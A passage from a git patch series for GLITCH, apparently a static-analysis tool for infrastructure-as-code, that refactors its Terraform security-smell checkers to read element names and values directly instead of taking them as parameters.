("any_not_empty" in config['values'] and elem_value.lower() == ""): return [Error('sec_threats_detection_alerts', element, file, repr(element))] diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py index d5a9582a..c96bfbc2 100644 --- a/glitch/analysis/terraform/versioning.py +++ b/glitch/analysis/terraform/versioning.py @@ -5,7 +5,7 @@ class TerraformVersioning(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._VERSIONING: @@ -15,7 +15,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{config['msg']}'.")) elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._VERSIONING: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] and not element.has_variable and elem_value.lower() not in config['values']): return [Error('sec_versioning', element, file, repr(element))] diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py index ca953936..b2617cd0 100644 --- a/glitch/analysis/terraform/weak_password_key_policy.py +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -5,7 +5,7 @@ class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._PASSWORD_KEY_POLICY: @@ -16,7 +16,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for policy in SecurityVisitor._PASSWORD_KEY_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] + if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and policy['values'] != [""]): if (policy['logic'] == "equal"): if ("any_not_empty" in policy['values'] and elem_value.lower() == ""): From c10068df421972fde7c9d3ac804423f8cd7aecd5 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Fri, 15 Mar 2024 14:13:16 +0000 Subject: [PATCH 54/58] remove elem value from check --- glitch/analysis/security.py | 78 +++++++++---------- glitch/analysis/terraform/access_control.py | 12 +-- .../analysis/terraform/attached_resource.py | 4 +- glitch/analysis/terraform/authentication.py | 6 +- glitch/analysis/terraform/dns_policy.py | 4 +- .../analysis/terraform/firewall_misconfig.py | 6 +- glitch/analysis/terraform/http_without_tls.py | 4 +- glitch/analysis/terraform/integrity_policy.py | 4 +- glitch/analysis/terraform/key_management.py | 14 ++-- glitch/analysis/terraform/logging.py | 16 ++-- .../analysis/terraform/missing_encryption.py | 10 +-- glitch/analysis/terraform/naming.py | 8 +- glitch/analysis/terraform/network_policy.py | 4 +- .../terraform/permission_iam_policies.py | 12 +-- glitch/analysis/terraform/public_ip.py | 4 +- glitch/analysis/terraform/replication.py | 4 +- .../terraform/sensitive_iam_action.py | 2 +- glitch/analysis/terraform/ssl_tls_policy.py | 4 +- .../analysis/terraform/threats_detection.py | 6 +- glitch/analysis/terraform/versioning.py | 4 +- .../terraform/weak_password_key_policy.py | 18 ++--- 21 files changed, 112 insertions(+), 112 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 89ec2d00..b1717241 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -159,42 +159,42 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> List[Error]: def check_dependency(self, d: Dependency, file: str) -> List[Error]: return [] - def __check_keyvalue(self, c: KeyValue, name: str, - value: str, has_variable: bool, file: str, au_type = None, parent_name: str = ""): + def __check_keyvalue(self, c: KeyValue, file: str, au_type = None, parent_name: str = ""): errors = [] - name = name.strip().lower() - if (isinstance(value, type(None))): + c.name = c.name.strip().lower() + + if (isinstance(c.value, type(None))): for child in c.keyvalues: - errors += self.check_element(child, file, au_type, name) + errors += self.check_element(child, file, au_type, c.name) return errors - elif (isinstance(value, str)): - value = value.strip().lower() + elif (isinstance(c.value, str)): + c.value = c.value.strip().lower() else: - errors += self.check_element(value, file) - value = repr(value) + errors += self.check_element(c.value, file) + c.value = repr(c.value) - if self.__is_http_url(value): + if self.__is_http_url(c.value): errors.append(Error('sec_https', c, file, repr(c))) - if re.match(r'(?:https?://|^)0.0.0.0', value) or\ - (name == "ip" and value in {"*", '::'}) or\ - (name in SecurityVisitor.__IP_BIND_COMMANDS and - (value == True or value in {'*', '::'})): + if re.match(r'(?:https?://|^)0.0.0.0', c.value) or\ + (c.name == "ip" and c.value in {"*", '::'}) or\ + (c.name in SecurityVisitor.__IP_BIND_COMMANDS and + (c.value == True or c.value in {'*', '::'})): errors.append(Error('sec_invalid_bind', c, file, repr(c))) - if self.__is_weak_crypt(value, name): + if self.__is_weak_crypt(c.value, c.name): errors.append(Error('sec_weak_crypt', c, file, repr(c))) for check in SecurityVisitor.__CHECKSUM: - if (check in name and (value == 'no' or value == 'false')): + if (check in c.name and (c.value == 'no' or c.value == 'false')): errors.append(Error('sec_no_int_check', c, file, repr(c))) break for item in (SecurityVisitor.__ROLES + SecurityVisitor.__USERS): - if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name)): - if (len(value) > 0 and not has_variable): + if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), c.name)): + if (len(c.value) > 0 and not c.has_variable): for admin in SecurityVisitor.__ADMIN: - if admin in value: + if admin in c.value: errors.append(Error('sec_def_admin', c, file, repr(c))) break @@ -234,8 +234,8 @@ def get_module_var(c, name: str): # only for terraform var = None - if (has_variable and self.tech == Tech.terraform): - value = re.sub(r'^\${(.*)}$', r'\1', value) + if (c.has_variable and self.tech == Tech.terraform): + value = re.sub(r'^\${(.*)}$', r'\1', c.value) if value.startswith("var."): # input variable (atomic unit with type variable) au = get_au(self.code, value.strip("var."), "variable") if au != None: @@ -247,12 +247,12 @@ def get_module_var(c, name: str): for item in (SecurityVisitor.__PASSWORDS + SecurityVisitor.__SECRETS + SecurityVisitor.__USERS): - if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) - and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST + SecurityVisitor.__PROFILE): - if (not has_variable or var): + if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), c.name) + and c.name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST + SecurityVisitor.__PROFILE): + if (not c.has_variable or var): - if not has_variable: - if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): + if not c.has_variable: + if (item in SecurityVisitor.__PASSWORDS and len(c.value) == 0): errors.append(Error('sec_empty_pass', c, file, repr(c))) break if var is not None: @@ -269,40 +269,40 @@ def get_module_var(c, name: str): break for item in SecurityVisitor.__SSH_DIR: - if item.lower() in name: - if len(value) > 0 and '/id_rsa' in value: + if item.lower() in c.name: + if len(c.value) > 0 and '/id_rsa' in c.value: errors.append(Error('sec_hard_secr', c, file, repr(c))) for item in SecurityVisitor.__MISC_SECRETS: - if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) - and len(value) > 0 and not has_variable): + if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), c.name) + and len(c.value) > 0 and not c.has_variable): errors.append(Error('sec_hard_secr', c, file, repr(c))) for item in SecurityVisitor.__SENSITIVE_DATA: - if item.lower() in name: + if item.lower() in c.name: for item_value in (SecurityVisitor.__SECRET_ASSIGN): - if item_value in value.lower(): + if item_value in c.value.lower(): errors.append(Error('sec_hard_secr', c, file, repr(c))) if ("password" in item_value): errors.append(Error('sec_hard_pass', c, file, repr(c))) - if (au_type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): + if (au_type in SecurityVisitor.__GITHUB_ACTIONS and c.name == "plaintext_value"): errors.append(Error('sec_hard_secr', c, file, repr(c))) - if (has_variable and var): - has_variable = False - value = var.value + if (c.has_variable and var is not None): + c.has_variable = var.has_variable + c.value = var.value for checker in self.checkers: - errors += checker.check(c, file, self.code, value, au_type, parent_name) + errors += checker.check(c, file, self.code, au_type, parent_name) return errors def check_attribute(self, a: Attribute, file: str, au_type = None, parent_name: str = "") -> list[Error]: - return self.__check_keyvalue(a, a.name, a.value, a.has_variable, file, au_type, parent_name) + return self.__check_keyvalue(a, file, au_type, parent_name) def check_variable(self, v: Variable, file: str) -> list[Error]: - return self.__check_keyvalue(v, v.name, v.value, v.has_variable, file) + return self.__check_keyvalue(v, file) def check_comment(self, c: Comment, file: str) -> List[Error]: errors = [] diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index c0dc49e3..d7d2da20 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -6,7 +6,7 @@ class TerraformAccessControl(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_api_gateway_method"): @@ -60,26 +60,26 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, pattern = re.compile(rf"{expr}") allow_expr = "\"effect\":" + "\s*" + "\"allow\"" allow_pattern = re.compile(rf"{allow_expr}") - if re.search(pattern, elem_value) and re.search(allow_pattern, elem_value): + if re.search(pattern, element.value) and re.search(allow_pattern, element.value): errors.append(Error('sec_access_control', element, file, repr(element))) break if (re.search(r"actions\[\d+\]", element.name) and parent_name == "permissions" - and au_type == "resource.azurerm_role_definition" and elem_value == "*"): + and au_type == "resource.azurerm_role_definition" and element.value == "*"): errors.append(Error('sec_access_control', element, file, repr(element))) elif (((re.search(r"members\[\d+\]", element.name) and au_type == "resource.google_storage_bucket_iam_binding") or (element.name == "member" and au_type == "resource.google_storage_bucket_iam_member")) - and (elem_value == "allusers" or elem_value == "allauthenticatedusers")): + and (element.value == "allusers" or element.value == "allauthenticatedusers")): errors.append(Error('sec_access_control', element, file, repr(element))) elif (element.name == "email" and parent_name == "service_account" and au_type == "resource.google_compute_instance" - and re.search(r".-compute@developer.gserviceaccount.com", elem_value)): + and re.search(r".-compute@developer.gserviceaccount.com", element.value)): errors.append(Error('sec_access_control', element, file, repr(element))) for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] + and element.value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_access_control', element, file, repr(element))) break diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py index 1fb525f7..67ea636a 100644 --- a/glitch/analysis/terraform/attached_resource.py +++ b/glitch/analysis/terraform/attached_resource.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit class TerraformAttachedResource(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): def check_attached_resource(attributes, resource_types): diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py index 87d7ca1f..fd70a8c7 100644 --- a/glitch/analysis/terraform/authentication.py +++ b/glitch/analysis/terraform/authentication.py @@ -6,7 +6,7 @@ class TerraformAuthentication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.google_sql_database_instance"): @@ -32,13 +32,13 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") - if not re.search(pattern, elem_value): + if not re.search(pattern, element.value): errors.append(Error('sec_authentication', element, file, repr(element))) for config in SecurityVisitor._AUTHENTICATION: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] + and element.value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_authentication', element, file, repr(element))) break diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py index 1fb5039a..7e1fb390 100644 --- a/glitch/analysis/terraform/dns_policy.py +++ b/glitch/analysis/terraform/dns_policy.py @@ -5,7 +5,7 @@ class TerraformDnsWithoutDnssec(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._DNSSEC_CONFIGS: @@ -18,7 +18,7 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._DNSSEC_CONFIGS: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] + and element.value.lower() not in config['values'] and config['values'] != [""]): return [Error('sec_dnssec', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py index fd79b7b5..fdc57d27 100644 --- a/glitch/analysis/terraform/firewall_misconfig.py +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -5,7 +5,7 @@ class TerraformFirewallMisconfig(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._FIREWALL_CONFIGS: @@ -18,9 +18,9 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._FIREWALL_CONFIGS: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): return [Error('sec_firewall_misconfig', element, file, repr(element))] elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): + element.value.lower() not in config['values']): return [Error('sec_firewall_misconfig', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py index 4feffb07..7a1de358 100644 --- a/glitch/analysis/terraform/http_without_tls.py +++ b/glitch/analysis/terraform/http_without_tls.py @@ -5,7 +5,7 @@ class TerraformHttpWithoutTls(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "data.http"): @@ -38,6 +38,6 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._HTTPS_CONFIGS: if (element.name == config["attribute"] and au_type in config["au_type"] and parent_name in config["parents"] and not element.has_variable - and elem_value.lower() not in config["values"]): + and element.value.lower() not in config["values"]): return [Error('sec_https', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py index 309a3daa..73d9b19d 100644 --- a/glitch/analysis/terraform/integrity_policy.py +++ b/glitch/analysis/terraform/integrity_policy.py @@ -5,7 +5,7 @@ class TerraformIntegrityPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._INTEGRITY_POLICY: @@ -17,6 +17,6 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for policy in SecurityVisitor._INTEGRITY_POLICY: if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and not element.has_variable - and elem_value.lower() not in policy['values']): + and element.value.lower() not in policy['values']): return[Error('sec_integrity_policy', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py index d3568e62..bf081bd1 100644 --- a/glitch/analysis/terraform/key_management.py +++ b/glitch/analysis/terraform/key_management.py @@ -6,7 +6,7 @@ class TerraformKeyManagement(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_storage_account"): @@ -27,24 +27,24 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._KEY_MANAGEMENT: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): errors.append(Error('sec_key_management', element, file, repr(element))) break elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): + element.value.lower() not in config['values']): errors.append(Error('sec_key_management', element, file, repr(element))) break if (element.name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): expr1 = r'\d+\.\d{0,9}s' expr2 = r'\d+s' - if (re.search(expr1, elem_value) or re.search(expr2, elem_value)): - if (int(elem_value.split("s")[0]) > 7776000): + if (re.search(expr1, element.value) or re.search(expr2, element.value)): + if (int(element.value.split("s")[0]) > 7776000): errors.append(Error('sec_key_management', element, file, repr(element))) else: errors.append(Error('sec_key_management', element, file, repr(element))) elif (element.name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" - and elem_value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" - and elem_value == "alias/aws/sns"))): + and element.value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" + and element.value == "alias/aws/sns"))): errors.append(Error('sec_key_management', element, file, repr(element))) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index a7c785cd..27ac36f0 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -63,7 +63,7 @@ def check_azurerm_storage_container(self, element, code, file: str): errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") - if not (storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account.")): + if not (storage_account_name is not None and storage_account_name.value.lower().startswith("${azurerm_storage_account.")): errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + f"'azurerm_storage_account' resource in order to enable logging.") @@ -108,7 +108,7 @@ def check_azurerm_storage_container(self, element, code, file: str): return errors - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_eks_cluster"): @@ -229,8 +229,8 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, elif isinstance(element, Attribute) or isinstance(element, Variable): if (element.name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): - if re.match(r"^\${aws_cloudwatch_log_group\..", elem_value): - aws_cloudwatch_log_group_name = elem_value.split('.')[1] + if re.match(r"^\${aws_cloudwatch_log_group\..", element.value): + aws_cloudwatch_log_group_name = element.value.split('.')[1] if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + @@ -242,21 +242,21 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, "resource.azurerm_mssql_server_extended_auditing_policy"]) or (element.name == "days" and parent_name == "retention_policy" and au_type == "resource.azurerm_network_watcher_flow_log")) - and ((not elem_value.isnumeric()) or (elem_value.isnumeric() and int(elem_value) < 90))): + and ((not element.value.isnumeric()) or (element.value.isnumeric() and int(element.value) < 90))): errors.append(Error('sec_logging', element, file, repr(element))) elif (element.name == "days" and parent_name == "retention_policy" and au_type == "resource.azurerm_monitor_log_profile" - and (not elem_value.isnumeric() or (elem_value.isnumeric() and int(elem_value) < 365))): + and (not element.value.isnumeric() or (element.value.isnumeric() and int(element.value) < 365))): errors.append(Error('sec_logging', element, file, repr(element))) for config in SecurityVisitor._LOGGING: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): errors.append(Error('sec_logging', element, file, repr(element))) break elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): + element.value.lower() not in config['values']): errors.append(Error('sec_logging', element, file, repr(element))) break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index fc559366..65c64f69 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -6,7 +6,7 @@ class TerraformMissingEncryption(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): @@ -63,11 +63,11 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._MISSING_ENCRYPTION: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): errors.append(Error('sec_missing_encryption', element, file, repr(element))) break elif ("any_not_empty" not in config['values'] and not element.has_variable - and elem_value.lower() not in config['values']): + and element.value.lower() not in config['values']): errors.append(Error('sec_missing_encryption', element, file, repr(element))) break @@ -77,10 +77,10 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") - if not re.search(pattern, elem_value) and config['required'] == "yes": + if not re.search(pattern, element.value) and config['required'] == "yes": errors.append(Error('sec_missing_encryption', element, file, repr(element))) break - elif re.search(pattern, elem_value) and config['required'] == "must_not_exist": + elif re.search(pattern, element.value) and config['required'] == "must_not_exist": errors.append(Error('sec_missing_encryption', element, file, repr(element))) break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py index 3a312a7e..37526401 100644 --- a/glitch/analysis/terraform/naming.py +++ b/glitch/analysis/terraform/naming.py @@ -6,7 +6,7 @@ class TerraformNaming(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_security_group"): @@ -37,17 +37,17 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, elif isinstance(element, Attribute) or isinstance(element, Variable): if (element.name == "name" and au_type in ["resource.azurerm_storage_account"]): pattern = r'^[a-z0-9]{3,24}$' - if not re.match(pattern, elem_value): + if not re.match(pattern, element.value): errors.append(Error('sec_naming', element, file, repr(element))) for config in SecurityVisitor._NAMING: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): errors.append(Error('sec_naming', element, file, repr(element))) break elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): + element.value.lower() not in config['values']): errors.append(Error('sec_naming', element, file, repr(element))) break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index 0d5b7e7e..a0b50c25 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -6,7 +6,7 @@ class TerraformNetworkSecurityRules(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_network_security_rule"): @@ -52,7 +52,7 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, elif isinstance(element, Attribute) or isinstance(element, Variable): for rule in SecurityVisitor._NETWORK_SECURITY_RULES: if (element.name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] - and not element.has_variable and elem_value.lower() not in rule['values'] and rule['values'] != [""]): + and not element.has_variable and element.value.lower() not in rule['values'] and rule['values'] != [""]): return [Error('sec_network_security_rules', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index 793bc177..13fa4f6b 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -6,7 +6,7 @@ class TerraformPermissionIAMPolicies(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_iam_user"): @@ -20,16 +20,16 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, elif isinstance(element, Attribute) or isinstance(element, Variable): if ((element.name == "member" or element.name.split('[')[0] == "members") and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER - and (re.search(r".-compute@developer.gserviceaccount.com", elem_value) or - re.search(r".@appspot.gserviceaccount.com", elem_value) or - re.search(r"user:", elem_value))): + and (re.search(r".-compute@developer.gserviceaccount.com", element.value) or + re.search(r".@appspot.gserviceaccount.com", element.value) or + re.search(r"user:", element.value))): errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) for config in SecurityVisitor._PERMISSION_IAM_POLICIES: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and not element.has_variable and elem_value.lower() not in config['values']) - or (config['logic'] == "diff" and elem_value.lower() in config['values'])): + if ((config['logic'] == "equal" and not element.has_variable and element.value.lower() not in config['values']) + or (config['logic'] == "diff" and element.value.lower() in config['values'])): errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index 9b69fbab..9bd05527 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -5,7 +5,7 @@ class TerraformPublicIp(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._PUBLIC_IP_CONFIGS: @@ -22,7 +22,7 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._PUBLIC_IP_CONFIGS: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] + and element.value.lower() not in config['values'] and config['values'] != [""]): return [Error('sec_public_ip', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py index 3757b46b..06477151 100644 --- a/glitch/analysis/terraform/replication.py +++ b/glitch/analysis/terraform/replication.py @@ -6,7 +6,7 @@ class TerraformReplication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): @@ -28,6 +28,6 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._REPLICATION: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and elem_value.lower() not in config['values']): + and not element.has_variable and element.value.lower() not in config['values']): return [Error('sec_replication', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index 997ec78b..d3b09196 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -5,7 +5,7 @@ class TerraformSensitiveIAMAction(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] def convert_string_to_dict(input_string): diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py index f2e7eecc..e42d56a6 100644 --- a/glitch/analysis/terraform/ssl_tls_policy.py +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -5,7 +5,7 @@ class TerraformSslTlsPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): 